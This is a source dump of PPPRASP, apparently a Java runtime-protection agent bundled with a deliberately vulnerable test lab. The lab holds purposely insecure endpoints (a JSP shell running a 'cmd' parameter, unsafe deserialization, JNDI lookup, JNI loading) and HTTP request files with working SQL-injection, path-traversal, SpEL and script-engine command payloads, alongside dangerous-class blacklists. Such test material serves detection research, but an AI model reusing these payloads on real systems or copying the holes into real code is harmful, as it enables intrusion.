├── SecVulns
├── SecVulnsREST
│ └── normal
│ │ ├── case04-files
│ │ ├── 1.txt
│ │ ├── directory.http
│ │ └── upload.http
│ │ ├── libcmd.jnilib
│ │ ├── case01-deserialization
│ │ ├── cc4.bin
│ │ └── original.http
│ │ ├── case09-jndi.http
│ │ ├── case12-jni.http
│ │ ├── case03-code.http
│ │ ├── case05-inject
│ │ └── sql.http
│ │ ├── case07-expression
│ │ ├── spel.http
│ │ └── ognl.http
│ │ └── case02-exec.http
├── springboot2Demo
│ ├── src
│ │ └── main
│ │ │ ├── resources
│ │ │ ├── 1.txt
│ │ │ └── flag.txt
│ │ │ └── java
│ │ │ └── com
│ │ │ └── ppp
│ │ │ └── vulns
│ │ │ └── springboot2
│ │ │ ├── Springboot2DemoApplication.java
│ │ │ └── controller
│ │ │ ├── files
│ │ │ ├── FileUtils.java
│ │ │ ├── FileDirectoryController.java
│ │ │ └── FileUploadController.java
│ │ │ ├── JNIController.java
│ │ │ ├── inject
│ │ │ └── SQLMysqlController.java
│ │ │ ├── JNDIController.java
│ │ │ ├── serialization
│ │ │ ├── XStreamController.java
│ │ │ ├── FastjsonController.java
│ │ │ ├── SnakeYamlController.java
│ │ │ ├── SerializationController.java
│ │ │ └── JacksonController.java
│ │ │ ├── expression
│ │ │ ├── SPELController.java
│ │ │ └── OGNLController.java
│ │ │ ├── DeserializationController.java
│ │ │ ├── DemoController.java
│ │ │ └── ExecController.java
│ └── pom.xml
├── TomcatDemo
│ ├── src
│ │ └── main
│ │ │ ├── webapp
│ │ │ ├── WEB-INF
│ │ │ │ ├── upload
│ │ │ │ │ └── flag.txt
│ │ │ │ └── web.xml
│ │ │ └── expression
│ │ │ │ ├── scriptlet.jsp
│ │ │ │ ├── index.jsp
│ │ │ │ └── el.jsp
│ │ │ └── java
│ │ │ └── com
│ │ │ └── ppp
│ │ │ └── vulns
│ │ │ └── javax
│ │ │ └── tomcat
│ │ │ └── servlet
│ │ │ ├── files
│ │ │ ├── FileUtils.java
│ │ │ ├── FileDirectory2Servlet.java
│ │ │ ├── FileDirectoryServlet.java
│ │ │ ├── FileUpload2Servlet.java
│ │ │ └── FileUploadServlet.java
│ │ │ ├── Base64DeSerializerServlet.java
│ │ │ └── BinaryDeSerializerServlet.java
│ └── pom.xml
├── vulnsCore
│ ├── src
│ │ └── main
│ │ │ ├── java
│ │ │ └── com
│ │ │ │ └── ppp
│ │ │ │ └── vulns
│ │ │ │ └── core
│ │ │ │ ├── vulns
│ │ │ │ ├── expression
│ │ │ │ │ ├── EL.java
│ │ │ │ │ ├── SPEL.java
│ │ │ │ │ └── OGNL.java
│ │ │ │ ├── JNI.java
│ │ │ │ ├── serialization
│ │ │ │ │ ├── XStreamDemo.java
│ │ │ │ │ ├── FastjsonDemo.java
│ │ │ │ │ ├── SnakeYamlDemo.java
│ │ │ │ │ ├── Original.java
│ │ │ │ │ └── JacksonDemo.java
│ │ │ │ ├── JNDI.java
│ │ │ │ ├── files
│ │ │ │ │ └── FileDirectory.java
│ │ │ │ ├── Code.java
│ │ │ │ ├── inject
│ │ │ │ │ └── sql
│ │ │ │ │ │ ├── Users.java
│ │ │ │ │ │ ├── HQL.java
│ │ │ │ │ │ └── SQL.java
│ │ │ │ └── Exec.java
│ │ │ │ └── safe
│ │ │ │ ├── FileRead.java
│ │ │ │ └── SPEL.java
│ │ │ └── resources
│ │ │ └── hibernate.cfg.xml
│ └── pom.xml
├── pom.xml
└── SecVulns.sql
├── ppprasp-agent
├── start.sh
├── src
│ └── main
│ │ ├── java
│ │ └── com
│ │ │ └── ppprasp
│ │ │ └── agent
│ │ │ ├── check
│ │ │ ├── SqlChecker.java
│ │ │ ├── DeserializationChecker.java
│ │ │ ├── info
│ │ │ │ ├── WhiteClassInfo.java
│ │ │ │ └── BlackClassInfo.java
│ │ │ ├── ExpressionChecker.java
│ │ │ ├── ClassChecker.java
│ │ │ └── CVEChecker.java
│ │ │ ├── common
│ │ │ ├── enums
│ │ │ │ ├── Middleware.java
│ │ │ │ ├── Status.java
│ │ │ │ ├── VulInfo.java
│ │ │ │ └── Algorithm.java
│ │ │ ├── StackTracer.java
│ │ │ ├── RASPContext.java
│ │ │ ├── RASPManager.java
│ │ │ └── RASPConfig.java
│ │ │ ├── hook
│ │ │ ├── source
│ │ │ │ ├── bundle
│ │ │ │ │ └── HttpBundle.java
│ │ │ │ ├── DubboHook.java
│ │ │ │ ├── WebSocketHook.java
│ │ │ │ └── HttpHook.java
│ │ │ ├── vul
│ │ │ │ ├── JNIHook.java
│ │ │ │ ├── SqlHook.java
│ │ │ │ ├── FileDirectoryHook.java
│ │ │ │ ├── JNDIHook.java
│ │ │ │ ├── FileUploadHook.java
│ │ │ │ ├── RceHook.java
│ │ │ │ └── DeserializationHook.java
│ │ │ └── memshell
│ │ │ │ ├── JettyMemShellHook.java
│ │ │ │ ├── SpringMemShellHook.java
│ │ │ │ └── TomcatMemShellHook.java
│ │ │ └── utils
│ │ │ ├── FileCopyUtils.java
│ │ │ ├── StreamUtils.java
│ │ │ ├── Reflections.java
│ │ │ └── InterfaceProxyUtils.java
│ │ └── resources
│ │ └── raspConfig.yml
└── pom.xml
├── pom.xml
└── README.md
/SecVulns/SecVulnsREST/normal/case04-files/1.txt:
--------------------------------------------------------------------------------
1 | 1234
--------------------------------------------------------------------------------
/SecVulns/springboot2Demo/src/main/resources/1.txt:
--------------------------------------------------------------------------------
1 | asasas
--------------------------------------------------------------------------------
/SecVulns/TomcatDemo/src/main/webapp/WEB-INF/upload/flag.txt:
--------------------------------------------------------------------------------
1 | flag{123}
--------------------------------------------------------------------------------
/SecVulns/springboot2Demo/src/main/resources/flag.txt:
--------------------------------------------------------------------------------
1 | flag{123xxx}
--------------------------------------------------------------------------------
/SecVulns/SecVulnsREST/normal/libcmd.jnilib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Whoopsunix/PPPRASP/HEAD/SecVulns/SecVulnsREST/normal/libcmd.jnilib
--------------------------------------------------------------------------------
/SecVulns/SecVulnsREST/normal/case01-deserialization/cc4.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Whoopsunix/PPPRASP/HEAD/SecVulns/SecVulnsREST/normal/case01-deserialization/cc4.bin
--------------------------------------------------------------------------------
/SecVulns/vulnsCore/src/main/java/com/ppp/vulns/core/vulns/expression/EL.java:
--------------------------------------------------------------------------------
1 | package com.ppp.vulns.core.vulns.expression;
2 |
3 | /**
4 | * @author Whoopsunix
5 | */
6 | public class EL {
7 | }
8 |
--------------------------------------------------------------------------------
/SecVulns/SecVulnsREST/normal/case09-jndi.http:
--------------------------------------------------------------------------------
1 | ###
2 | # case1 lookup
3 | POST /jndi/case1 HTTP/1.1
4 | Host: 127.0.0.1:8080
5 | Content-Type: application/x-www-form-urlencoded
6 |
7 | url=ldap://127.0.0.1:1389/ju4je4
8 |
9 |
--------------------------------------------------------------------------------
/SecVulns/vulnsCore/src/main/java/com/ppp/vulns/core/vulns/JNI.java:
--------------------------------------------------------------------------------
1 | package com.ppp.vulns.core.vulns;
2 |
3 | /**
4 | * @author Whoopsunix
5 | */
6 | public class JNI {
7 | public static void load(String file) {
8 | System.load(file);
9 | }
10 | }
11 |
--------------------------------------------------------------------------------
/SecVulns/SecVulnsREST/normal/case12-jni.http:
--------------------------------------------------------------------------------
1 | ###
2 | # case1 System.load
3 | POST /jni/case1 HTTP/1.1
4 | Host: 127.0.0.1:8080
5 | Content-Type: application/x-www-form-urlencoded
6 |
7 | file=/Users/ppp/Documents/pppRepository/github_file/PPPRASP/SecVulns/SecVulnsREST/libcmd.jnilib
8 |
9 |
--------------------------------------------------------------------------------
/ppprasp-agent/start.sh:
--------------------------------------------------------------------------------
1 | mvn clean package -Dmaven.test.skip=true -Dmaven.javadoc.skip=true
2 |
3 | # rm -r ../sandbox/sandbox-module/*
4 | if [ "$(ls -A ../sandbox/sandbox-module/)" ]; then
5 | rm -r ../sandbox/sandbox-module/*
6 | fi
7 |
8 | mv target/ppprasp-agent-1.0.0-jar-with-dependencies.jar ../sandbox/sandbox-module/
--------------------------------------------------------------------------------
/SecVulns/vulnsCore/src/main/java/com/ppp/vulns/core/vulns/serialization/XStreamDemo.java:
--------------------------------------------------------------------------------
1 | package com.ppp.vulns.core.vulns.serialization;
2 |
3 | /**
4 | * @author Whoopsunix
5 | */
6 | public class XStreamDemo {
7 | public static Object deserialize(final String xml) {
8 | com.thoughtworks.xstream.XStream xstream = new com.thoughtworks.xstream.XStream();
9 | return xstream.fromXML(xml);
10 | }
11 | }
12 |
--------------------------------------------------------------------------------
/ppprasp-agent/src/main/java/com/ppprasp/agent/check/SqlChecker.java:
--------------------------------------------------------------------------------
1 | package com.ppprasp.agent.check;
2 |
3 | /**
4 | * @author Whoopsunix
5 | *
6 | * sql注入检测
7 | */
8 | public class SqlChecker {
9 | /**
10 | * todo sql 注入检查
11 | */
12 | public static boolean isDangerous(String sql) {
13 |
14 | // todo 暂时全部返回 true 拦截,需要考察一下 词法\语法 分析引擎的能力后再考虑拓展
15 | return true;
16 |
17 | // return false;
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/SecVulns/SecVulnsREST/normal/case03-code.http:
--------------------------------------------------------------------------------
1 | ###
2 | # case1 ScriptEngine
3 | POST /code/case1 HTTP/1.1
4 | Host: 127.0.0.1:8080
5 | Content-Type: application/x-www-form-urlencoded
6 |
7 | var runtime = java.lang./**/Runtime./**/getRuntime();var process = runtime.exec("ifconfig");var inputStream = process.getInputStream();var scanner = new java.util.Scanner(inputStream,"GBK").useDelimiter("\\A");var result = scanner.hasNext() ? scanner.next() : "";scanner.close();result;
8 |
9 |
--------------------------------------------------------------------------------
/SecVulns/vulnsCore/src/main/java/com/ppp/vulns/core/vulns/serialization/FastjsonDemo.java:
--------------------------------------------------------------------------------
1 | package com.ppp.vulns.core.vulns.serialization;
2 |
3 | import com.alibaba.fastjson.JSON;
4 | import com.alibaba.fastjson.JSONObject;
5 |
6 | /**
7 | * @author Whoopsunix
8 | */
9 | public class FastjsonDemo {
10 | public static Object parseObject(String json){
11 | JSONObject jsonObject = JSON.parseObject(json);
12 | return jsonObject;
13 | }
14 | }
15 |
--------------------------------------------------------------------------------
/SecVulns/SecVulnsREST/normal/case04-files/directory.http:
--------------------------------------------------------------------------------
1 | ###
2 | # listFiles
3 | POST /file/directory/case1 HTTP/1.1
4 | Host: 127.0.0.1:8080
5 | Content-Type: application/x-www-form-urlencoded
6 |
7 | filePath=../../../../../../../../../../../../../../../../etc/
8 |
9 | ###
10 | # list
11 | POST /file/directory/case2 HTTP/1.1
12 | Host: 127.0.0.1:8080
13 | Content-Type: application/x-www-form-urlencoded
14 |
15 | filePath=../../../../../../../../../../../../../../../../etc/
--------------------------------------------------------------------------------
/SecVulns/SecVulnsREST/normal/case01-deserialization/original.http:
--------------------------------------------------------------------------------
1 | ###
2 | # 反序列化
3 | POST /deserialization/case1 HTTP/1.1
4 | Host: 127.0.0.1:8080
5 | X-Token: hostname
6 | Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
7 |
8 | ------WebKitFormBoundary7MA4YWxkTrZu0gW
9 | Content-Disposition: form-data; name="file"; filename="cc4.bin"
10 | Content-Type: application/octet-stream
11 |
12 | < ./cc4.bin
13 | ------WebKitFormBoundary7MA4YWxkTrZu0gW--
14 |
--------------------------------------------------------------------------------
/SecVulns/SecVulnsREST/normal/case05-inject/sql.http:
--------------------------------------------------------------------------------
1 | ###
2 | # case1 mysql select
3 | POST /sql/mysql/case1 HTTP/1.1
4 | Host: 127.0.0.1:8080
5 | Content-Type: application/x-www-form-urlencoded
6 |
7 | username=xxx' union select * from users#&password=123
8 |
9 |
10 | ###
11 | # case2 hql select
12 | POST /sql/hql/case1 HTTP/1.1
13 | Host: 127.0.0.1:8080
14 | Content-Type: application/x-www-form-urlencoded
15 |
16 | username=xxx' union select * from users#&password=123
17 |
18 |
19 |
--------------------------------------------------------------------------------
/SecVulns/springboot2Demo/src/main/java/com/ppp/vulns/springboot2/Springboot2DemoApplication.java:
--------------------------------------------------------------------------------
1 | package com.ppp.vulns.springboot2;
2 |
3 | import org.springframework.boot.SpringApplication;
4 | import org.springframework.boot.autoconfigure.SpringBootApplication;
5 |
6 | @SpringBootApplication
7 | public class Springboot2DemoApplication {
8 | public static void main(String[] args) {
9 | SpringApplication.run(Springboot2DemoApplication.class, args);
10 | }
11 |
12 | }
13 |
--------------------------------------------------------------------------------
/ppprasp-agent/src/main/java/com/ppprasp/agent/check/DeserializationChecker.java:
--------------------------------------------------------------------------------
1 | package com.ppprasp.agent.check;
2 |
3 | import com.ppprasp.agent.check.info.BlackClassInfo;
4 |
5 | /**
6 | * @author Whoopsunix
7 | *
8 | * 反序列化检测
9 | */
10 | public class DeserializationChecker {
11 | public static boolean isDangerousClass(String className) {
12 | if (BlackClassInfo.sinkBlackClassMap.containsKey(className)) {
13 | return true;
14 | }
15 |
16 | return false;
17 | }
18 | }
19 |
--------------------------------------------------------------------------------
/SecVulns/vulnsCore/src/main/java/com/ppp/vulns/core/vulns/JNDI.java:
--------------------------------------------------------------------------------
1 | package com.ppp.vulns.core.vulns;
2 |
3 | import javax.naming.InitialContext;
4 |
5 | /**
6 | * @author Whoopsunix
7 | */
8 | public class JNDI {
9 |
10 | public static void main(String[] args) throws Exception{
11 | lookup("ldap://127.0.0.1:1389/ju4je4");
12 | }
13 | public static Object lookup(String url) throws Exception{
14 | InitialContext ctx = new InitialContext();
15 | return ctx.lookup(url);
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/ppprasp-agent/src/main/java/com/ppprasp/agent/common/enums/Middleware.java:
--------------------------------------------------------------------------------
1 | package com.ppprasp.agent.common.enums;
2 |
3 | /**
4 | * @author Whoopsunix
5 | *
6 | * 组件信息
7 | */
8 | public enum Middleware {
9 | Tomcat("Tomcat"),
10 | Spring("Spring"),
11 | Jetty("Jetty"),
12 | ;
13 |
14 | private final String description;
15 |
16 | Middleware(String description) {
17 | this.description = description;
18 | }
19 |
20 | public String getDescription() {
21 | return description;
22 | }
23 |
24 | }
25 |
--------------------------------------------------------------------------------
/SecVulns/vulnsCore/src/main/java/com/ppp/vulns/core/vulns/serialization/SnakeYamlDemo.java:
--------------------------------------------------------------------------------
1 | package com.ppp.vulns.core.vulns.serialization;
2 |
3 | /**
4 | * @author Whoopsunix
5 | */
6 | public class SnakeYamlDemo {
7 | public static void main(String[] args) {
8 | String payload = "!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: \"rmi://127.0.0.1:1099/prgojj\"\n autoCommit: true";
9 | deserialize(payload);
10 | }
11 | public static Object deserialize(final String yaml) {
12 | org.yaml.snakeyaml.Yaml y = new org.yaml.snakeyaml.Yaml();
13 | return y.load(yaml);
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/SecVulns/TomcatDemo/src/main/java/com/ppp/vulns/javax/tomcat/servlet/files/FileUtils.java:
--------------------------------------------------------------------------------
1 | package com.ppp.vulns.javax.tomcat.servlet.files;
2 |
3 | /**
4 | * @author Whoopsunix
5 | */
6 | public class FileUtils {
7 | public static String getResourcePath(){
8 | String resourcePath = Thread.currentThread().getContextClassLoader().getResource("").getPath();
9 | if (System.getProperty("os.name").toLowerCase().contains("win")) {
10 | if (resourcePath.startsWith("/")) {
11 | resourcePath = resourcePath.substring(1);
12 | }
13 | }
14 | return resourcePath;
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/SecVulns/springboot2Demo/src/main/java/com/ppp/vulns/springboot2/controller/files/FileUtils.java:
--------------------------------------------------------------------------------
1 | package com.ppp.vulns.springboot2.controller.files;
2 |
3 | /**
4 | * @author Whoopsunix
5 | */
6 | public class FileUtils {
7 | public static String getResourcePath(){
8 | String resourcePath = Thread.currentThread().getContextClassLoader().getResource("").getPath();
9 | if (System.getProperty("os.name").toLowerCase().contains("win")) {
10 | if (resourcePath.startsWith("/")) {
11 | resourcePath = resourcePath.substring(1);
12 | }
13 | }
14 | return resourcePath;
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/ppprasp-agent/src/main/java/com/ppprasp/agent/check/info/WhiteClassInfo.java:
--------------------------------------------------------------------------------
1 | package com.ppprasp.agent.check.info;
2 |
3 | import com.ppprasp.agent.common.enums.Algorithm;
4 |
5 | import java.util.HashMap;
6 |
7 | /**
8 | * @author Whoopsunix
9 | *
10 | * 白名单名单统一维护
11 | *
12 | * 对于一些框架自调用的情况需要排查,比如各种 JSON 框架的生成
13 | */
14 | public class WhiteClassInfo {
15 | /**
16 | * 调用栈白名单
17 | */
18 | public static HashMap sinkBlackClassMap = new HashMap() {{
19 | // Tomcat jsp 页面首次访问时编译成 Java 类 FileInputStream
20 | put("org.apache.jasper.JspCompilationContext", Algorithm.FileREAD);
21 | }};
22 |
23 |
24 | }
25 |
--------------------------------------------------------------------------------
/ppprasp-agent/src/main/java/com/ppprasp/agent/common/enums/Status.java:
--------------------------------------------------------------------------------
1 | package com.ppprasp.agent.common.enums;
2 |
3 | /**
4 | * @author Whoopsunix
5 | *
6 | * 算法状态
7 | */
8 | public enum Status {
9 | OPEN(1, "open"),
10 | CLOSE(0, "close"),
11 | LOG(-1, "log"),
12 | ;
13 |
14 | private final int value;
15 | private final String description;
16 |
17 | Status(int value, String description) {
18 | this.value = value;
19 | this.description = description;
20 | }
21 |
22 | public int getValue() {
23 | return value;
24 | }
25 |
26 | public String getDescription() {
27 | return description;
28 | }
29 | }
--------------------------------------------------------------------------------
/SecVulns/TomcatDemo/src/main/webapp/expression/scriptlet.jsp:
--------------------------------------------------------------------------------
1 | <%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8" %>
2 | Scriptlet 标记写法
3 |
4 |
5 | 无回显 - 反射构造Runtime
6 | <% "".getClass().forName("java.lang.Runtime").getMethod("exec", "".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null), request.getParameter("cmd"));%>
7 |
8 | <%--拼接
--%>
9 | <%--<% Runtime.getRuntime().exec(Character.toString((char) 111).concat("pen -a Calculator.app")); %>--%>
10 |
11 | <%--web路径
--%>
12 | <%--<%pageContext.servletContext.getResource("");%>--%>
13 |
14 | <%--环境变量
--%>
15 | <%--<%applicationScope;%>--%>
--------------------------------------------------------------------------------
/SecVulns/pom.xml:
--------------------------------------------------------------------------------
1 |
3 | 4.0.0
4 |
5 | org.example
6 | SecVulns
7 | 1.0-SNAPSHOT
8 | pom
9 |
10 | SecVulns
11 |
12 |
13 | springboot2Demo
14 | TomcatDemo
15 | vulnsCore
16 |
17 |
18 |
19 | UTF-8
20 |
21 |
22 |
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
3 | 4.0.0
4 |
5 | com.ppprasp
6 | PPPRASP
7 | 1.0-SNAPSHOT
8 | pom
9 |
10 | PPPRASP
11 |
12 |
13 | UTF-8
14 |
15 |
16 |
17 | ppprasp-agent
18 |
19 |
20 |
21 |
22 |
23 |
--------------------------------------------------------------------------------
/SecVulns/SecVulnsREST/normal/case07-expression/spel.http:
--------------------------------------------------------------------------------
1 | ###
2 | # case1 spel
3 | POST /spel/case1 HTTP/1.1
4 | Host: 127.0.0.1:8080
5 | Content-Type: text/plain
6 |
7 | new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('ifconfig').getInputStream()).useDelimiter("\\A").next()
8 |
9 |
10 | ###
11 | # case2 spelStandardEvaluationContext
12 | POST /spel/case2 HTTP/1.1
13 | Host: 127.0.0.1:8080
14 | Content-Type: text/plain
15 |
16 | new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('ifconfig').getInputStream()).useDelimiter("\\A").next()
17 |
18 |
19 | ###
20 | # case3 spelMethodBasedEvaluationContext
21 | POST /spel/case3 HTTP/1.1
22 | Host: 127.0.0.1:8080
23 | Content-Type: text/plain
24 |
25 | new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('ifconfig').getInputStream()).useDelimiter("\\A").next()
26 |
27 |
28 |
29 |
30 |
--------------------------------------------------------------------------------
/ppprasp-agent/src/main/java/com/ppprasp/agent/check/info/BlackClassInfo.java:
--------------------------------------------------------------------------------
1 | package com.ppprasp.agent.check.info;
2 |
3 | import java.util.HashMap;
4 |
5 | /**
6 | * @author Whoopsunix
7 | *
8 | * 黑名单统一维护
9 | */
10 | public class BlackClassInfo {
11 | /**
12 | * 反序列化 sink 点
13 | */
14 | public static HashMap sinkBlackClassMap = new HashMap() {{
15 | put("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", null);
16 | put("org.apache.commons.collections.functors.InvokerTransformer", null);
17 | }};
18 |
19 | /**
20 | * 基本危险类
21 | */
22 | public static HashMap dangerousBlackClassMap = new HashMap() {{
23 | put("java.lang.Runtime", null);
24 | put("java.lang.ProcessBuilder", null);
25 | }};
26 |
27 |
28 | }
29 |
--------------------------------------------------------------------------------
/SecVulns/vulnsCore/src/main/java/com/ppp/vulns/core/safe/FileRead.java:
--------------------------------------------------------------------------------
1 | package com.ppp.vulns.core.safe;
2 |
3 | import java.io.BufferedReader;
4 | import java.io.ByteArrayInputStream;
5 | import java.io.InputStream;
6 | import java.io.InputStreamReader;
7 |
8 | /**
9 | * @author Whoopsunix
10 | */
11 | public class FileRead {
12 | /**
13 | * 对照组
14 | */
15 | public String read_InputStreamReader_text(String str) throws Exception {
16 | InputStream inputStream = new ByteArrayInputStream(str.getBytes());
17 |
18 | InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
19 | BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
20 | String line;
21 | StringBuilder content = new StringBuilder();
22 | while ((line = bufferedReader.readLine()) != null) {
23 | content.append(line).append("\n");
24 | }
25 | bufferedReader.close();
26 | return content.toString();
27 | }
28 | }
29 |
--------------------------------------------------------------------------------
/SecVulns/vulnsCore/src/main/resources/hibernate.cfg.xml:
--------------------------------------------------------------------------------
1 |
4 |
5 |
6 | org.hibernate.dialect.MySQL5Dialect
7 | com.mysql.jdbc.Driver
8 | jdbc:mysql://127.0.0.1:3306/SecVulns
9 | root
10 | 123456
11 | update
12 | true
13 | 50
14 |
15 |
16 |
--------------------------------------------------------------------------------
/SecVulns/TomcatDemo/src/main/java/com/ppp/vulns/javax/tomcat/servlet/files/FileDirectory2Servlet.java:
--------------------------------------------------------------------------------
1 | package com.ppp.vulns.javax.tomcat.servlet.files;
2 |
3 | import com.ppp.vulns.core.vulns.files.FileDirectory;
4 |
5 | import javax.servlet.annotation.MultipartConfig;
6 | import javax.servlet.annotation.WebServlet;
7 | import javax.servlet.http.HttpServlet;
8 | import javax.servlet.http.HttpServletRequest;
9 | import javax.servlet.http.HttpServletResponse;
10 | import java.util.Arrays;
11 |
12 | /**
13 | * @author Whoopsunix
14 | *
15 | * 路径遍历
16 | */
17 | @MultipartConfig
18 | @WebServlet("/file/directory/case2")
19 | public class FileDirectory2Servlet extends HttpServlet {
20 | @Override
21 | protected void doPost(HttpServletRequest request, HttpServletResponse response) {
22 | String filePath = FileUtils.getResourcePath() + request.getParameter("filePath");
23 | System.out.println(filePath);
24 |
25 | String[] dirs = FileDirectory.list(filePath);
26 | System.out.println(Arrays.toString(dirs));
27 | }
28 | }
29 |
--------------------------------------------------------------------------------
/ppprasp-agent/src/main/java/com/ppprasp/agent/hook/source/bundle/HttpBundle.java:
--------------------------------------------------------------------------------
1 | package com.ppprasp.agent.hook.source.bundle;
2 |
3 | import javax.servlet.http.HttpServletRequest;
4 | import javax.servlet.http.HttpServletResponse;
5 |
6 | /**
7 | * @author Whoopsunix
8 | * 将 HTTP 请求中 request 和 response 封装为一个对象
9 | * 后续 HTTP 请求信息的完善都通过该对象
10 | */
11 | public class HttpBundle {
12 | private HttpServletRequest request;
13 | private HttpServletResponse response;
14 |
15 | public HttpBundle(HttpServletRequest request, HttpServletResponse response) {
16 | this.request = request;
17 | this.response = response;
18 | }
19 |
20 | public HttpServletRequest getRequest() {
21 | return request;
22 | }
23 |
24 | public void setRequest(HttpServletRequest request) {
25 | this.request = request;
26 | }
27 |
28 | public HttpServletResponse getResponse() {
29 | return response;
30 | }
31 |
32 | public void setResponse(HttpServletResponse response) {
33 | this.response = response;
34 | }
35 | }
36 |
--------------------------------------------------------------------------------
/SecVulns/springboot2Demo/src/main/java/com/ppp/vulns/springboot2/controller/JNIController.java:
--------------------------------------------------------------------------------
1 | package com.ppp.vulns.springboot2.controller;
2 |
3 | import com.ppp.vulns.core.vulns.JNI;
4 | import org.springframework.stereotype.Controller;
5 | import org.springframework.web.bind.annotation.RequestMapping;
6 | import org.springframework.web.bind.annotation.ResponseBody;
7 |
8 | import javax.servlet.http.HttpServletRequest;
9 | import javax.servlet.http.HttpServletResponse;
10 | import java.io.IOException;
11 |
12 | /**
13 | * @author Whoopsunix
14 | */
15 | @Controller
16 | @RequestMapping("/jni")
17 | public class JNIController {
18 | @RequestMapping("/case1")
19 | @ResponseBody
20 | public Object case1(HttpServletRequest request, HttpServletResponse response) throws IOException {
21 | try {
22 | String file = request.getParameter("file");
23 | System.out.println(file);
24 | JNI.load(file);
25 |
26 | return file;
27 | } catch (Exception e) {
28 | e.printStackTrace();
29 | }
30 | return null;
31 | }
32 | }
33 |
--------------------------------------------------------------------------------
/SecVulns/vulnsCore/src/main/java/com/ppp/vulns/core/vulns/files/FileDirectory.java:
--------------------------------------------------------------------------------
1 | package com.ppp.vulns.core.vulns.files;
2 |
3 | import java.io.File;
4 | import java.util.Arrays;
5 |
6 | /**
7 | * @author Whoopsunix
8 | *
9 | * 路径遍历
10 | */
11 | public class FileDirectory {
12 |
13 | public static void main(String[] args) {
14 | String[] directory = listFiles("/tmp");
15 | System.out.println(Arrays.toString(directory));
16 | }
17 |
18 | public static String[] list(String filePath) {
19 | String[] files = new File(filePath).list();
20 | return files;
21 | }
22 |
23 | public static String[] listFiles(String filePath) {
24 | File[] fileLists = new File(filePath).listFiles();
25 |
26 | String[] arrayList = new String[]{};
27 |
28 | for (File file : fileLists) {
29 | if (file.isFile()) {
30 | arrayList = Arrays.copyOf(arrayList, arrayList.length + 1);
31 | arrayList[arrayList.length - 1] = file.getName();
32 | }
33 | }
34 |
35 | return arrayList;
36 | }
37 | }
38 |
--------------------------------------------------------------------------------
/ppprasp-agent/src/main/java/com/ppprasp/agent/check/ExpressionChecker.java:
--------------------------------------------------------------------------------
1 | package com.ppprasp.agent.check;
2 |
3 | import com.ppprasp.agent.check.info.BlackClassInfo;
4 |
5 | /**
6 | * @author Whoopsunix
7 | *
8 | * 表达式检测
9 | */
10 | public class ExpressionChecker {
11 |
12 | /**
13 | * 危险类检查 语句检查
14 | * @param expression
15 | * @return
16 | */
17 | public static boolean isDangerousClass(String expression) {
18 | for (String className: BlackClassInfo.dangerousBlackClassMap.keySet()){
19 | if (expression.equalsIgnoreCase(className)) {
20 | return true;
21 | }
22 | }
23 | return false;
24 | }
25 |
26 | /**
27 | * OGNL 语句检查
28 | * @param expression
29 | * @return
30 | */
31 | public static boolean isDangerousOGNLExpression(String expression) {
32 | for (String className: BlackClassInfo.dangerousBlackClassMap.keySet()){
33 | if (expression.contains(className)) {
34 | return true;
35 | }
36 | }
37 | return false;
38 | }
39 | }
40 |
--------------------------------------------------------------------------------
/SecVulns/vulnsCore/src/main/java/com/ppp/vulns/core/vulns/Code.java:
--------------------------------------------------------------------------------
1 | package com.ppp.vulns.core.vulns;
2 |
3 | import javax.script.ScriptEngine;
4 | import javax.script.ScriptEngineManager;
5 |
6 | /**
7 | * @author Whoopsunix
8 | *
9 | * 代码注入
10 | */
11 | public class Code {
12 | public static void main(String[] args) throws Exception{
13 | Object re = scriptEngine("");
14 | }
15 |
16 | /**
17 | * scriptEngine 代码注入
18 | * @param code
19 | * @return
20 | * @throws Exception
21 | */
22 | // var runtime = java.lang./**/Runtime./**/getRuntime();var process = runtime.exec("hostname");var inputStream = process.getInputStream();var scanner = new java.util.Scanner(inputStream,"GBK").useDelimiter("\\A");var result = scanner.hasNext() ? scanner.next() : "";scanner.close();result;
23 | public static Object scriptEngine(String code) throws Exception {
24 | ScriptEngineManager manager = new ScriptEngineManager();
25 | ScriptEngine engine = manager.getEngineByName("js");
26 | Object object = engine.eval(code);
27 | return object;
28 | }
29 | }
30 |
--------------------------------------------------------------------------------
/SecVulns/springboot2Demo/src/main/java/com/ppp/vulns/springboot2/controller/inject/SQLMysqlController.java:
--------------------------------------------------------------------------------
1 | package com.ppp.vulns.springboot2.controller.inject;
2 |
3 | import com.ppp.vulns.core.vulns.inject.sql.SQL;
4 | import org.springframework.stereotype.Controller;
5 | import org.springframework.web.bind.annotation.RequestMapping;
6 | import org.springframework.web.bind.annotation.ResponseBody;
7 |
8 | import javax.servlet.http.HttpServletRequest;
9 | import javax.servlet.http.HttpServletResponse;
10 |
11 | /**
12 | * @author Whoopsunix
13 | */
14 | @Controller
15 | @RequestMapping("/sql/mysql")
16 | public class SQLMysqlController {
17 | @RequestMapping("/case1")
18 | @ResponseBody
19 | public Object case1(HttpServletRequest request, HttpServletResponse response) throws Exception {
20 | String username = request.getParameter("username");
21 | String password = request.getParameter("password");
22 |
23 | System.out.println(username);
24 | System.out.println(password);
25 |
26 | Object result = SQL.select(null, username, password);
27 | return result;
28 | }
29 | }
30 |
--------------------------------------------------------------------------------
/ppprasp-agent/src/main/java/com/ppprasp/agent/common/enums/VulInfo.java:
--------------------------------------------------------------------------------
1 | package com.ppprasp.agent.common.enums;
2 |
3 | /**
4 | * @author Whoopsunix
5 | *
6 | * 漏洞描述信息
7 | */
8 | public enum VulInfo {
9 | DESERIALIZATION("Deserialization"),
10 | XMLDeserialization("XMLDeserialization"),
11 | SPEL("SPEL Expression"),
